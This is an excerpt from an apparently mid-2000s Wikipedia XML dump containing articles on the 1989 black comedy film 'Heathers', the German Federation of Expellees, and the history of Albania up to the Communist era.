'''''Heathers''''' ([[1989 in film|1989]]) is a [[film]] in which three out of the four girls in a trend-setting [[clique]] at Westerberg High are called Heather. They play [[croquet]] with each other and rule the school through intimidation, contempt and sex appeal. It was written by [[Daniel Waters (writer)|Daniel Waters]], directed by [[Michael Lehmann]], and starred [[Winona Ryder]], [[Shannen Doherty]], and [[Christian Slater]].

''Heathers'' is a [[black comedy]], widely viewed as a classic teenage comedy of the [[1980]]s, considered revolutionary at the time because of its high levels of violence, cruelty, black humor and absurdity, especially for a movie set in [[high school]].  It was seen as a stiff response to the gentler and more romanticized view of high school and teenage culture put forth in the movies of [[John Hughes]].   

One of the central themes of the movie is that people who want their high schools to be kinder places are deluded -- high school is not a safe haven from the world, it ''is'' the world in microcosm;  and &quot;kids who complain they want to be treated like grownups usually ARE being treated like grownups.&quot;

Because ''Heathers'' portrays alienated teenagers who solve their problems with murder and terrorism, audiences in 1989 found it far-fetched and therefore safe to enjoy as a dark wish-fulfillment fantasy.  But in the post-[[Columbine]] era the movie hits a different nerve and now appears prescient and unsettling in a new and even darker way. 

&amp;#35;heathers is an [[IRC]] channel on IRC's [[EFNet]]. It is focused on the movie ''Heathers'', and ''Heathers'' mythology. It was formed in [[1993]].

==Plot description==
{{spoiler}}
''Heathers'' centers around a high school student named Veronica ([[Winona Ryder]]). Veronica is part of a clique of popular, pretty and wealthy girls called The Heathers. Other than Veronica, they all share that first name. Heather Duke ([[Shannen Doherty]]), Heather McNamara ([[Lisanne Falk]]) and Heather Chandler ([[Kim Walker]]), Veronica's best friend, are the prettiest and most popular girls in school.  They are also the most vacant, shallow, self-centered and vicious.  Veronica finds their 'friendship' both tempting and repellent.

Veronica wasn't always so popular. Although it is never fully explained how she ascended to popularity, it is made clear that she used to be good friends with one of the school's biggest nerds, Betty Finn. She is also clearly smarter and far more compassionate than any of her Heather cohorts. When a new, dark boy named Jason Dean ([[Christian Slater]]), or J.D. for short, pulls a gun on school bullies Kurt ([[Lance Fenton]]) and Ram ([[Patrick Labyorteaux]]), and fires blanks at them, Veronica is intrigued.

Soon Veronica and J.D. are dating, and he accompanies her on an early morning visit to Heather Chandler's home. Veronica is furious with Heather Chandler's behaviour at a [[Fraternities and sororities|frat]] party and the two of them jokingly prepare a cup full of [[drain cleaner]] to bring her as a morning wake-up drink. They later decide on milk and [[orange juice]] as a vomit-inducing prank, but Veronica accidentally mixes up the cups (J.D. notices, but doesn't tell her) and to her horror Heather Chandler downs the drain cleaner and begins to heave and spasm, eventually collapsing face first into a glass table and dying.

Realizing that she is the unintentional perpetrator of her best friend's murder, J.D. urges Veronica to forge a [[suicide note]] in Heather Chandler's handwriting. Veronica does so only to protect herself from prosecution. The entire school and community looks on Heather Chandler's death as a hip, if dramatic, decision in the life of a popular but troubled teenager, and everyone accepts the suicide note as authentic. Soon Heather's death becomes yesterday's news.

Weeks later J.D. concocts a plan to punish bullies Ram and Kurt for spreading gossip about Veronica. He tells her that they will lure the two guys into the forest with the promise of a three-way with Veronica, only once the bullies have stripped down to their boxer shorts, Veronica and J.D. will shoot them with &quot;Ich Lüge&quot; bullets; fake bullets that will stun them unconscious long enough for Veronica and J.D. to flee. They will leave behind homosexually-oriented materials including pornographic magazines and the somewhat questionable bottled-water as well as a fake suicide note that will make it look like the two killed each other in a [[gay]] suicide pact. When they awaken, they will be humiliated.

Veronica agrees, thinking the plan is hilarious, but when she misfires and one of them doesn't get shot, J.D. goes running after him desperately. Veronica instantly realizes that the bullets were real (&quot;Ich lüge&quot; means &quot;I'm lying&quot; in [[German language|German]]) and J.D. had intended to kill the two boys all along. J.D. managed to chase the unshot boy in a circle so that he ends up back where they started, and Veronica, in a frightened daze, shoots him dead. The plan goes off without a hitch when the boys' bodies are discovered and the two school football stars are &quot;revealed&quot; to be gay lovers. (In one of the more memorable moments of the film, a redneck father is seen at a funeral with a football in his hand crying out &quot;I love my dead gay son!&quot;)

Suddenly Veronica is sucked into a world that she never intended to be a part of. Although the people they are killing were not particularly good or nice, she feels guilt for their murders. Additionally, because they were popular, other students are mimicking their behavior and attempting suicides. Most notably, obese student Martha &quot;Dumptruck&quot; Dunnstock ([[Carrie Lynn]]) pins a suicide note to her chest and walks into traffic. (She is not killed; instead she is horribly wounded and wheelchair bound.)

Veronica realizes she has to stop participating in these crimes with J.D., but when she tells him, he goes nuts. He reveals his plan to kill Heather Duke next, and hints that he might try to kill Veronica. Veronica, expecting him to find her and kill her, rigs a harness in her room to make it look like she has [[hanging|hanged]] herself. J.D. discovers her &quot;body&quot; and leaves, heartbroken. (Veronica's mother ([[Jennifer Rhodes]]) also discovers her just before she unties herself, getting quite a scare.) Before J.D. leaves, however, he reveals that he intends to blow up the entire school during a pep rally. A petition he has been circulating to get the band &quot;Big Fun&quot; to play was actually a cleverly disguised suicide note that almost the entire school has signed.

Veronica heads to school the next day and confronts J.D. in the boiler rooms where he is rigging dynamite to go off. They get into a gunfight where Veronica shoots off J.D.'s middle finger, and finally she forces him to disable the bomb. However, she is unable to save J.D., who later meets her outside and detonates a bomb that is strapped around his chest. Thus Veronica has literally saved the entire school without anyone knowing it. The final shot of the film is of Veronica, ash laden and bleeding, walking through the halls of the school. She confronts Heather Duke and rips a red bow from her hair (the bow which Heather Chandler is known to wear, which J.D. had given Heather Duke) and then starts up a friendly discussion with Martha Dunnstock.

[[Image:heathers.jpg|thumb|300px|The Heathers: Heather Duke, Heather McNamara, Heather Chandler, and Veronica]]

==Alternate ending==
On the special editon DVD of ''Heathers'', the &quot;special features&quot; section contains the script for an alternate ending which was considered too dark for teen audiences and nixed by New World Pictures, the distributor.

In the alternate ending, J.D. dies in the boiler room, and Veronica is shown walking through the school, though only from the back.  This is interrupted by shots of the bomb counting down, showing that Veronica had not shut it off.  When she reaches the front of the school, Veronica turns around, allowing the viewer to see that the bomb was strapped to her chest.  It hits zero, the screen turns black, and Veronica says, &quot;Boom.&quot;  Then black letters tell the viewer that this is the prom.  A banner hangs, saying &quot;WHAT A WASTE, OH THE HUMANITY&quot;.

The students begin to dance, at first sticking with those of the same or similar social cliques.  Then, when it is time for prom pictures, people from different cliques are couples.  A geek and a stoner pose together, then Pauline Fleming ([[Penelope Milford]]) and Principal Gowan ([[John Ingle]]).  Kurt, now alive, has his picture taken with the cow he had tipped.  Mismatched couples continue to appear, and dead characters make their own appearances.  J.D. plays a &quot;smoking hot&quot; guitar solo, then rushes to the dance floor to dance with Heather Duke, Kurt, and finally Heather Chandler.  The Heathers do a ring-around-the-rosy.  The camera is moved up to reveal Martha Dunnstock, wailing beautifully.  The viewpoint is then lifted even higher to show a smiling Veronica in a &quot;striking pose.&quot;

Those who have not seen the movie or who did not pay attention will not understand the implications of this ending.  In order for the scene to be understood, one must remember that J.D. tells Veronica, in defense of his actions, that &quot;the only place different social types can genuinely get along is in Heaven.&quot;  Through this quote, it becomes clear that the people of Westerburg High had all died.  This explains the mingling of social groups, as well as the reappearance of those who died at prom.

Despite the change of the endings, the movie failed to be a big hit.  Instead it has increased in popularity over time, developing into a [[cult movie]].

==Trivia==
*The fictional Westerberg High School is named for musician [[Paul Westerberg]].
*Daniel Waters wrote the film for [[Stanley Kubrick]], but struggled greatly to get the script sent to him.
*In [[2000]], readers of ''[[Total Film]]'' magazine voted ''Heathers'' the 32nd greatest comedy film of all time.
*Screamo band [[From First to Last]] took the title of their album ''[[Dear Diary, My Teen Angst Has a Body Count]]'' from a quote by Veronica in ''Heathers'' (&quot;Dear diary, my teen-angst bullshit now has a body count.&quot;).
*Veronica and her not-so-popular friend have combination first and last names that go together (Betty and Veronica, from [[Archie Comics]], and Sawyer and Finn, from [[Tom Sawyer]])

==External links==
{{wikiquote}}
*{{imdb title|id=0097493|title=Heathers}}
*[http://www.soundtrackcollector.com/catalog/soundtrackdetail.php?movieid=1806 Heathers on SoundtrackCollector]

[[Category:1989 films]]
[[Category:Comedy-drama films]]
[[Category:Coming-of-age films]]
[[Category:Cult films]]
[[Category:Independent films]]
[[Category:Teen films]]

[[de:Heathers]]
[[sv:Häxor, läxor och dödliga lektioner]]</text>
    </revision>
  </page>
  <page>
    <title>Federation of Expellees</title>
    <id>13902</id>
    <revision>
      <id>39746164</id>
      <timestamp>2006-02-15T15:59:24Z</timestamp>
      <contributor>
        <username>AnonMoos</username>
        <id>21047</id>
      </contributor>
      <minor />
      <comment>/* Recent developments */ punct</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}
The '''Bund der Vertriebenen''' ''(BdV)'' ([[German language|German]] for &quot;Federation of Expellees&quot;) is a [[non-profit organization]] formed to represent the interests of Germans displaced from their homes in [[Historical Eastern Germany]] and other parts of Eastern Europe by the [[expulsion of Germans after World War II]]. (''&quot;Heimatvertriebene&quot;: &quot;Homeland expellees&quot;'').

It represents the [[diaspora]] of, today, approximately 15 million German citizens, that after World War II were transferred from [[Poland]] and the [[Soviet Union]] and former German territories, [[ethnic German]]s who were [[population transfer|transferred]] from [[Czechoslovakia]], [[Hungary]], [[Romania]], [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] and other countries, it also includes people who were part of colonisation effort by German Reich or who migrated into Nazi occupied territories during the war. The federation is currently headed by the [[Christian Democratic Union of Germany|CDU]] politician [[Erika Steinbach]].

== German laws concerning the Expellees ==
Between [[1953]] and [[1991]] the [[West Germany|West German]] government passed several laws dealing with expelled civilians. Most notable of these laws is the &quot;[[Right_of_Return#Germany|Law of Return]]&quot; which granted West German [[citizenship]] to any [[ethnic German]]. Several additions were made to these laws.

The centerpiece of the ethnic German expellee law is the inheritability of the refugee status. According to Bundesvertriebenengesetz [http://bundesrecht.juris.de/bundesrecht/bvfg/index.html] Par. 7/2, &quot;the spouse and  the descendants&quot; of an expellee are to be treated as if they were expellees themselves, regardless whether they have been personally displaced. Although there never were refugee camps set up in Germany, this legal status is only paralleled by the situation of Palestinian refugees in [[UNRWA]] camps.

The Federation of Expellees has however steadily lobbied to preserve the inheritability clause, as a change might deeply effect its ability to recruit from the post-WWII generations. Expellee status also includes Germans settled in Nazi occupied territories as well as those who moved with the military occupation.

== Recent developments ==
Under previous governments, especially those led by the [[Christian-Democratic Union of Germany|CDU]], the West German government had shown more rhetorical support for the refugeed and expelled Germans. [[Social Democratic Party of Germany|Social Democratic]] governments have traditionally been less supportive &amp;mdash; and it was under [[Willy Brandt]] that [[West Germany]] recognized the [[Oder-Neisse line]] as part of his [[Ostpolitik]].  

In the early 1990s the German political establishment realised that they had an opportunity to remove the division between West Germany and East Germany. However it was believed that if this historic opportunity was to be realised it had to be done quickly. One of the potential complications were the lands of historical eastern Germany, because unless these were renounced, some foreign powers might not agree to German unification. The German political establishment agreed to the [[Treaty on the Final Settlement With Respect to Germany]] (Two Plus Four Agreement) which officially reestablished the sovereignty of both German states, one  condition of which, was that Germany accept the post World War II frontiers. In 1991 to facilitate [[German re-unification]] and to reassure other countries, the FRG made some changes to the &quot;[[Basic Law for the Federal Republic of Germany|basic law]]&quot; (German constitution). Article 146 was amended so that Article 23 of the current constitution could be used for reunification. Then once the five &quot;reestablished federal states&quot; in East Germany had joined, the Basic Law was amended again to indicate that ''there were no other parts of Germany, which existed outside of the unified territory'', that had not acceded. 

Support for the aims of the Federation of Expellees within the German electorate remains low, and when in charge of government, both CDU and SPD have tended to favor improved relations with [[Central Europe|Central]] and [[Eastern Europe]] even when this conflicts with the interests of the displaced. The issue of the Eastern border of Germany, and of return of the ''Heimatvertriebene'' to their ancestral homes is an issue which the current German government, German constitutional arrangements, and German treaty obligations have closed.

However, with the enlargement of the European Union, the organisations of expellees have gained new hopes of recognition of private German property rights in the former German territories in present-day of Poland and the Czech Republic. They have insisted that Poland and the [[Czech Republic]] must respect [[human rights]] and also compensate German victims before being allowed to become members of the European Union. Also the Hungarian Prime Minister Viktor Orban said in [[2002]] in the European Parliament that the Czech Republic and [[Slovakia]] should repeal the [[Benes decrees]] before being allowed into the European Union. The claim was supported by the [[Bavaria]]n government and Prime Minister [[Edmund Stoiber]], as well as the Austrian Chancellor [[Wolfgang Schüssel]]. In [[2003]], [[Liechtenstein]] refused to sign the enlargement of the Common European Economic Space, because the Czech Republic did not withdraw the Benes decrees and compensate the royal family of Liectenstein for their property in Bohemia, which was confiscated after the war. None of these efforts led to any significant result.   In [[2004]] the Czech Republic, Poland, and Slovakia became members of the European Union and European institutions generally choose future-oriented approach. 

Claims were unanimously rejected by the affected countries and became a source of mistrust between Germany, Poland and the Czech Republics. While ''Expellees'' recall their property and speak of human rights, Poles remind that they were never compensated for damages caused by German government during World War II(In Poland alone the war reperations could reach as high as $640 billion, according to the latest estimates[http://www.dw-world.de/popups/popup_printcontent/0,,1324630,00.html]). They further argue that the Polish government didn't enact the German expulsion and border shift, but it was instead ordered by the [[Potsdam conference]].Furthermore nationalisation of private property by communist governmnent wasn't in regard to Germans only but enforced on all people, regardless of ethnic background. The situation is further complicated by the fact that the majority of the current Polish population in historical eastern Germany are expellees (or descendants of expellees) themselves'.  They were moved from territories annexed by the [[Soviet Union|USSR]] and left their homes and property behind. However, if German expellees have only a tiny chance of regaining their property, Polish ones have no such prospect whatsoever.
The fact that colonists settled after 1939 in Poland or those that moved there after 1939 are treated as expellees under German law also adds to controversy.

While the organisation pursues claims towards both Poland and Czech Republic, it remains silent towards Russia and the region of [[Kaliningrad]].

The Federation of Expellees have also, in 2000, initiated the formation of the Center Against Forced Migration ''([[Centre Against Expulsions|Zentrum gegen Vertreibungen]]),''. The representatives of the center are Erika Steinbach and Prof. Dr. Peter Glotz.

Recently, the federation sued the German journalist [[Gabriele Lesser]] for alleged defamations. The questioned article was published [[September 19]], [[2003]], in the daily ''Kieler Nachrichten''.

== Organization ==
The expellees are organized in 21 regional associations ''(Landsmannschaften)'' according to the areas of origin of its members, 16 state organizations ''(Landesverbände)'' according to their current residence, and 5 associate member organizations. It is the single representative federation for the approximately 15 million Germans which after fleeing, being expelled, evacuated or emigrated, found refuge in the Federal Republic of Germany. The organizations have approximately 2 million members, and is a political force of some influence in Germany.

The current president of the federation is the German politician Erika Steinbach (CDU), who also is a member of the [[Bundestag|German parliament]].

The Federation helps members to integrate into German society. Many of the members assist  the societies of their place of birth.

=== Charter of the Ethnic German Expellees ===
The ''Charta der deutschen Heimatvertriebenen'' (Charter of the Ethnic German Expellees) of [[August 5]], [[1950]] announced their belief in requiring that &quot;the right to the homeland is recognized and carried out as one of the fundamental rights of mankind given by God&quot;, while renouncing revenge and retaliation in the face of the &quot;infinite wrong&quot; (''&quot;unendliche Leid&quot;'') of the previous decade, and supporting the unified effort to rebuild Germany and Europe.

=== Presidents ===
*[[Georg Baron Manteuffel-Szoege]] and [[Linus Kather]] (1957&amp;ndash;1959)
*[[Hans Krüger]] (1959&amp;ndash;1963)
*[[Wenzel Jaksch]] (1964&amp;ndash;1966)
*[[Reinhold Rehs]] (1967&amp;ndash;1970)
*[[Herbert Czaja]] (1970&amp;ndash;1994)
*[[Fritz Wittmann]] (1994&amp;ndash;1998)
*[[Erika Steinbach]] (1998&amp;mdash;)
**Vice president (since 1992): [[Wilhelm von Gottberg]]

=== Member organizations ===
==== Landsmannschaften ====
* [[Landsmannschaft Ostpreußen]]
* [[Landsmannschaft Schlesien]]
* [[Deutsch-Baltische Landsmannschaft]]
* Landsmannschaft der Banater Schwaben e.V.
* Landsmannschaft Berlin-Mark Brandenburg
* Landsmannschaft der Bessarabiendeutschen e.V.
* Landsmannschaft der Buchenlanddeutschen (Bukowina) e.V. 
* Bund der Danziger e.V. 
* Landsmannschaft der Dobrudscha- und Bulgariendeutschen
* Landsmannschaft der Donauschwaben, Bundesverband e.V.
* Karpatendeutsche Landsmannschaft Slowakei e.V.
* [[Landsmannschaft der Deutschen aus Litauen]] e.V.
* Landsmannschaft der Oberschlesier e.V. - Bundesverband - 
* Pommersche Landsmannschaft - Zentralverband - e.V. 
* Landsmannschaft der Deutschen aus Russland e.V. 
* Landsmannschaft der Sathmarer Schwaben in der Bundesrepublik Deutschland e.V. 
* Landsmannschaft der Siebenbürger Sachsen in Deutschland e.V. 
* [[Sudetendeutsche Landsmannschaft Bundesverband]] e.V. 
* [[Landsmannschaft der Deutschen aus Ungarn]]
* Landsmannschaft Weichsel-Warthe Bundesverband e.V. 
* [[Landsmannschaft Westpreußen]] e.V.

==== Landesverbände ====
* Landesverband Baden-Württemberg 
* Landesverband Bayern
* Landesverband Berlin 
* Landesverband Brandenburg
* Landesverband Bremen
* Landesverband Hamburg
* Landesverband Hessen
* Landesverband Mecklenburg-Vorpommern
* Landesverband Niedersachsen
* Landesverband Nordrhein-Westfalen
* Landesverband Rheinland-Pfalz
* Landesverband Saar
* Landesverband Sachsen / Schlesische Lausitz
* Landesverband Sachsen-Anhalt
* Landesverband Schleswig-Holstein
* Landesverband Thüringen

==See also==
*[[All-German Bloc/League of Expellees and Deprived of Rights]]
*[[Organised persecution of ethnic Germans]]
*[[Pursuit of Nazi collaborators]]
*[[Lebensraum]]
*[[Drang_nach_osten]]

==Further reading==
* ''Casualty of War: A Childhood Remembered (Eastern European Studies, 18)'' Luisa Lang Owen and Charles M. Barber, [http://www.tamu.edu/upress/ Texas A&amp;M University Press], January, 2003, hardcover, 288 pages, ISBN 1585442127

==References==
{{unreferenced}}

==External links==
* [http://www.bund-der-vertriebenen.de/ Bund der Vertriebenen] - Official homepage
* [http://www.z-g-v.de Zentrum gegen Vertreibungen] - Official homepage
* [http://www.cdu.de/omv/charta.htm ''Charta der deutschen Heimatvertriebenen''] 
* For latest developments: http://cdu.de/politik-a-z/vertriebenen/inhalt.htm (in German)

[[Category:German society]]
[[Category:Post-World War II]]
[[de:Bund der Vertriebenen]]</text>
    </revision>
  </page>
  <page>
    <title>History of Albania</title>
    <id>13904</id>
    <revision>
      <id>42048174</id>
      <timestamp>2006-03-03T13:02:30Z</timestamp>
      <contributor>
        <ip>80.78.66.182</ip>
      </contributor>
      <comment>/* World War II and the rise of Communism, 1941-44 */</comment>
      <text xml:space="preserve">{{histalbania}}

This article briefly outlines each period of '''History of Albania''' only; details are presented in separate articles (see the links in the box and below).

== The Origin of the Albanians ==
''Main article: [[Origin of Albanians]]''

A number of scholars consider that the Albanians are direct descendants of an Illyrian tribe that was named &quot;Albanoi&quot; that was located in present day [[Albania]]. Many scholars dispute this. See [[Origin of Albanians]]. Some scholars have claimed that the Albanians and the Illyrians are the descendants of the ancient Pelasgians, and thus their history goes back at least 4000 years before Christ.

Those who support the Illyrian-Albanian continuity theory maintain that all the Illyrian tribes except the Albanians disappeared during the [[Early Middle Ages]] under the waves of migrating barbarians. A forbidding mountain homeland and resilient tribal society enabled the Albanians to survive into modern times with their identity and their [[Albanian language|Indo-European language]] intact.

The name Albania is said by these scholars to be derived from the name of an Illyrian tribe called the Arber, or Arbereshë, and later Albanoi, that lived near [[Durrës]].

== Ancient Illyria ==
''Main article: [[Illyria]]''
The Illyrians were Indo-European tribesmen who appeared in the western part of the Balkan Peninsula about 1000 B.C., a period coinciding with the end of the Bronze Age and beginning of the Iron Age. They inhabited much of the area for at least the next millennium. Archaeologists associate the Illyrians with the Hallstatt culture, an Iron Age people noted for production of iron and bronze swords with winged-shaped handles and for domestication of horses. The Illyrians occupied lands extending from the Danube, Sava, and Morava rivers to the Adriatic Sea and the Sar Mountains. At various times, groups of Illyrians migrated over land and sea into Italy, such as the [[Messapian language|Messapians]] and Iapyges.

The Illyrians carried on commerce and warfare with their neighbors: [[Greeks]], [[Paionians]], [[Thracians]], and other peoples. The Illyrians also mingled with the Thracians, another ancient people with adjoining lands on the east. In the south and along the Adriatic Sea coast, the Illyrians were heavily influenced by the Greeks, who founded trading colonies there. The present-day city of Durrës evolved from a Greek colony known as Epidamnos (earlier, known as ''Dyrrhachion''), which was founded at the end of the seventh century B.C. Another famous Greek colony, Apollonia, arose between Durrës and the port city of [[Vlorë]]. 

The Illyrians produced and traded cattle, horses, agricultural goods, and wares fashioned from locally mined copper and iron. Feuds and warfare were constant facts of life for the Illyrian tribes, and Illyrian pirates plagued shipping on the Adriatic Sea. Councils of elders chose the chieftains who headed each of the numerous Illyrian tribes. From time to time, local chieftains extended their rule over other tribes and formed short-lived kingdoms. During the fifth century B.C., a well-developed Illyrian population center existed as far north as the upper Sava River valley in what is now Slovenia. Illyrian friezes discovered near the present-day Slovenian city of Ljubljana depict ritual sacrifices, feasts, battles, sporting events, and other activities. 

The Illyrian kingdom of Bardhyllus became formidable local power in the fourth century B.C. In 358 B.C., however, Macedonia's [[Philip II of Macedon|Phillip II]], father of [[Alexander the Great]], defeated the Illyrians and assumed control of their territory as far as Lake Ohrid. Alexander himself routed the forces of the Illyrian chieftain Clitus in 335 B.C., and Illyrian tribal leaders and soldiers accompanied Alexander on his conquest of Persia. After Alexander's death in 323 B.C., independent Illyrian kingdoms again arose. In 312 B.C., King Glaucius expelled the Greeks from Durrës. By the end of the third century, an Illyrian kingdom based near what is now the Albanian city of Shkodër controlled parts of northern Albania, [[Montenegro]], and [[Hercegovina]]. Under Queen Teuta, Illyrians attacked Roman merchant vessels plying the Adriatic Sea and gave Rome an excuse to invade the Balkans.

== The Roman Period ==
 
In the Illyrian Wars of 229 and 219 B.C., Rome overran the Illyrian settlements in the Neretva River valley. The Romans made new gains in 168 B.C., and Roman forces captured Illyria's King Gentius at Shkodër, which they called Scodra, and brought him to Rome in 165 B.C. A century later, Julius Caesar and his rival Pompey fought their decisive battle near Durrës (Dyrrachium). Rome finally subjugated recalcitrant Illyrian tribes in the western Balkans dwing the region of Emperor Tiberius in A.D. 9. The Romans divided the lands that make up present-day Albania among the provinces of Macedonia, Dalmatia, and Epirus.

For about four centuries, Roman rule brought the Illyrian-populated lands economic and cultural advancement and ended most of the enervating clashes among local tribes. The Illyrian mountain clansmen retained local authority but pledged allegiance to the emperor and acknowledged the authority of his envoys. During a yearly holiday honoring the Caesars, the Illyrian mountaineers swore loyalty to the emperor and reaffirmed their political rights. A form of this tradition, known as the kuvend, has survived to the present day in northern Albania. 

The Romans established numerous military camps and colonies and completely latinized the coastal cities. They also oversaw the construction of aqueducts and roads, including the Via Egnatia, a famous military highway and trade route that led from Durrës through the Shkumbin River valley to Macedonia and [[Byzantium]]. Copper, asphalt, and silver were extracted from the mountains. The main exports were wine, cheese, oil, and fish from Lake Scutari and Lake Ohrid. Imports included tools, metalware, luxury goods, and other manufactured articles. Apollonia became a cultural center, and Julius Caesar himself sent his nephew, later the Emperor Augustus, to study there. 

Illyrians distinguished themselves as warriors in the Roman legions and made up a significant portion of the Praetorian Guard. Several of the Roman emperors were of Illyrian origin, including  [[Decius|Gaius Decius]], [[Claudius Gothicus]], [[Aurelian]], [[Probus]], [[Diocletian]].

==The Coming of Christianity ==

[[Christianity]] came to the Illyrian-populated lands in the first century A.D. Saint Paul wrote that he preached in the Roman province of Illyricum, and legend holds that he visited Durrës. When the Roman Empire was divided into eastern and western halves in A.D. 395, the lands that now make up Albania were administered by the Eastern Empire but were ecclesiastically dependent on Rome. In A.D. 732, however, a [[Byzantine Empire|Byzantine]] emperor, Leo the Isaurian, subordinated the area to the patriarchate of Constantinople. For centuries thereafter, the Albanian lands became an arena for the ecclesiastical struggle between Rome and Constantinople. Most Albanians living in the mountainous north became Roman Catholic, while in the southern and central regions, the majority became Orthodox.

==The Barbarian Invasions And The Middle Ages==

The fall of the Roman Empire and the age of great migrations brought radical changes to the Balkan Peninsula and the Illyrian people. Barbarian tribesmen overran many rich Roman cities, destroying the existing social and economic order and leaving the great Roman aqueducts, coliseums, temples, and roads in ruins. The Illyrians gradually disappeared as a distinct people from the Balkans, replaced by the Bulgars, Serbs, Croats, and Albanians. In the late Middle Ages, new waves of invaders swept over the Albanian-populated lands. Thanks to their protective mountains, close-knit tribal society, and sheer pertinacity, however, the Albanian people developed their distinctive identity and language. 

In the fourth century, barbarian tribes began to prey upon the Roman Empire, and the fortunes of the Illyrian-populated lands sagged. The Germanic Goths and Asiatic Huns were the first to arrive, invading in mid-century; the Avars attacked in A.D. 570; and the Slavic Serbs and Croats overran Illyrian-populated areas in the early seventh century. About fifty years later, the Bulgars conquered much of the Balkan Peninsula and extended their domain to the lowlands of what is now central Albania. Many Illyrians fled from coastal areas to the mountains, exchanging a sedentary peasant existence for the itinerant life of the herdsman. Other Illyrians intermarried with the conquerors and eventually assimilated. In general, the invaders destroyed or weakened Roman and Byzantine cultural centers in the lands that would become Albania. 

Again during the late medieval period, invaders ravaged the Illyrian-inhabited regions of the Balkans. Norman, Venetian, and Byzantine fleets attacked by sea. Bulgar, Serb, and Byzantine forces came overland and held the region in their grip for years. Clashes between rival clans and intrusions by the Serbs produced hardship that triggered an exodus from the region southward into Greece, including Thessaly, the Peloponnese, and the Aegean Islands. The invaders assimilated much of the Illyrian population, but the Illyrians living in lands that comprise modern-day Albania and parts of Yugoslavia (see Glossary) and Greece were never completely absorbed or even controlled. 

The first historical mention of Albania and the Albanians as such appears in an account of the resistance by a Byzantine emperor, Alexius I Comnenus, to an offensive by the Vatican-backed Normans from southern Italy into the Albanian-populated lands in [[1081]]. 

The Serbs occupied parts of northern and eastern Albania toward the end of the twelfth century. In [[1204]], after Western crusaders sacked Constantinople, Venice won nominal control over Albania and the Epirus region of northern Greece and took possession of Durrës. A prince from the overthrown Byzantine ruling family, Michael Comnenus, made alliances with Albanian chiefs and drove the Venetians from lands that now make up southern Albania and northern Greece, and in 1204 he set up an independent Byzantine principality, the Despotate of Epirus, with [[Ioannina]] as its capital. In [[1272]] the king of Naples, Charles I of Anjou, occupied Durrës and formed an [[Kingdom of Albania|Albanian kingdom]] that would last for a century.

== Ottoman Rule==
''Main article: [[Albanian lands under Ottoman domination]]''

[[Ottoman Empire|Ottoman]] supremacy in the [[Balkan]] region began in [[1385]] but was briefly interrupted in the [[15th century]], when [[Skanderbeg|Gjerg Kastrioti]], an Albanian warrior known as [[Skanderbeg]], allied with some Albanian chiefs and fought-off Turkish rule from [[1443]]-[[1478]] (although '''Kastrioti''' died in [[1468]]). Upon the [[Ottomans]]' return, a large number of [[Albanians]] fled to [[Italy]], [[Greece]] and [[Egypt]] and many of the [[Albanians]] who remained (about two-thirds of the Albanian population), submitted and converted to the [[Islam]]ic faith.  Many Albanians won fame and fortune as soldiers, administrators, and merchants in far-flung parts of the empire. As the centuries passed, however, [[Ottoman]] rulers lost the capacity to command the loyalty of local [[pasha]]s, who governed districts on the empire's fringes, which threatened stability in the region. The [[Ottoman]] rulers of the nineteenth century struggled to shore up central authority, introducing reforms aimed at harnessing unruly pashas and checking the spread of nationalist ideas. [[Albania]] would be a part of the [[Ottoman Empire]] until the early [[20th century]].

== The birth of Albanian nationalism ==
''Main article: [[National awakening and the birth of Albania]]''

By the [[1870s]], the [[Sublime Porte]]'s reforms aimed at checking the Ottoman Empire's disintegration had clearly failed. The image of the &quot;Turkish yoke&quot; had become fixed in the nationalist mythologies and psyches of the empire's Balkan peoples, and their march toward independence quickened. The [[Albanians]], because of the preponderance of Muslims link with Islam and their internal social divisions, were the last of the Balkan peoples to develop a national consciousness, which was triggered by fears that the Ottoman Empire would lose its Albanian-populated lands to the emerging Balkan states--[[Serbia]], [[Montenegro]], [[Bulgaria]], and [[Greece]].

Albanian leaders formed the [[League of Prizren]] in [[1878]], which pressed for territorial autonomy, and after decades of unrest a major uprising exploded in the Albanian-populated Ottoman territories in [[1912]], on the eve of the [[First Balkan War]]. When Serbia, Montenegro, and Greece laid claim to Albanian lands during the war, the Albanians declared independence. 

The European [[Great Powers]] endorsed an independent Albania in [[1913]], after the [[Second Balkan War]]. They were assisted by [[Aubrey Herbert]], a British [[M.P.]] who passionately advocated their cause in London. As a result, Herbert was offered the crown of Albania, but was dissuaded by the British prime minister, [[Herbert Asquith]], from accepting. Instead the offer went to [[William of Wied]], a German prince.

The young state, however, collapsed within weeks of the outbreak of [[World War I]].

==World War I and its effects on Albania==
''Main article: [[History of Albania (1919-1939)]]''

[[Albania]] achieved a degree of statehood after [[World War I]], in part because of the diplomatic intercession of the [[United States]]. The country suffered from a debilitating lack of economic and social development, however, and its first years of independence were fraught with political instability. Unable to survive in a predatory world without a foreign protector, Albania became the object of tensions between [[Italy]] and the Kingdom of the [[Serbs]], [[Croats]], and [[Slovenes]] (the later [[Yugoslavia]]), which both sought to dominate the country. 

With [[Yugoslav]] military assistance, [[Zog of Albania|Ahmed Bey Zogu]], the son of a [[clan]] chieftain, emerged victorious from an internal political power struggle in late [[1924]]. Zogu, however, quickly turned his back on [[Belgrade]] and looked to [[Benito Mussolini]]'s Italy for patronage. Under him, Albania joined the the Italian coalition against Yugoslavia of [[Kingdom of Italy]], [[Hungary]], [[Romania]] and [[Bulgaria]] in [[1924]]-[[1927]]. After [[Britain]]'s and [[France]]'s political intervention in [[1927]] with the [[Kingdom of Yugoslavia]], the allience crumbled. In [[1928]] Zogu coaxed the country's parliament into declaring [[Albania]] a kingdom and himself king. [[King Zogu]] remained a hidebound conservative, and [[Albania]] was the only [[Balkan]] state where the government did not introduce a comprehensive land reform between the two world wars. [[Mussolini]]'s forces overthrew Zogu when they occupied [[Albania]] in [[1939]].

==World War II and the rise of Communism, 1941-44 ==

''Main article: [[Military history of Albania during World War II]]''

Between 1941 and 1944, communist partisans fought Italian and German occupation forces as well as various nationalist Albanian groups who did not join the communists. Being communist, they had no help from the west, and only ideological help from Russia. However, they were victorious in World War II and took over the country which became communist immediately after that.

==Communist Albania==

''Main article: [[History of Albania (1945-1989)]]''

